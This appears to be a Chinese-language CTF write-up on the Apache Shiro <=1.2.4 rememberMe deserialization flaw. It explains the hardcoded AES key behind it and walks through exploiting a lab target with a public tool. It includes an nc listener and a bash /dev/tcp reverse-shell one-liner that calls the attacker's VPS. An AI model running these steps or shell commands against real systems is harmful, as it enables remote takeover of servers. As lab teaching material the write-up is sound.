Apache shiro是一个java安全框架,在Apache Shiro <=1.2.4
版本出现shiro rememberme反序列化漏洞。
特征:返回包中含有rememberMe=deleteMe字段
原理:在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。
做一个题目
使用一个工具,Github项目地址:shiro-1.2.4-rce
下载工具后用以下命令
python3 .\shiro-1.2.4_rce.py http://10.1.5.252:28078/penson/
出现此提示即为成功
两个选择,选择linux进行弹Shell不需要bash编码,选择windows则需要bash编码
linux:
选择linux
在vps中
nc -lvp 6666
监听6666端口接收弹Shell
输入弹Shell命令
bash -i >&/dev/tcp/[vpsip]/6666 0>&1
选择linux时,工具会自动进行编码
成功弹Shell
cat /flag
得到flag
Windows:
选择Windows时,工具则不会自动编码,需要手动编码,使用转换网站
复制编码后的命令进行弹Shell
成功弹Shell
cat /flag
得到flag
Comments NOTHING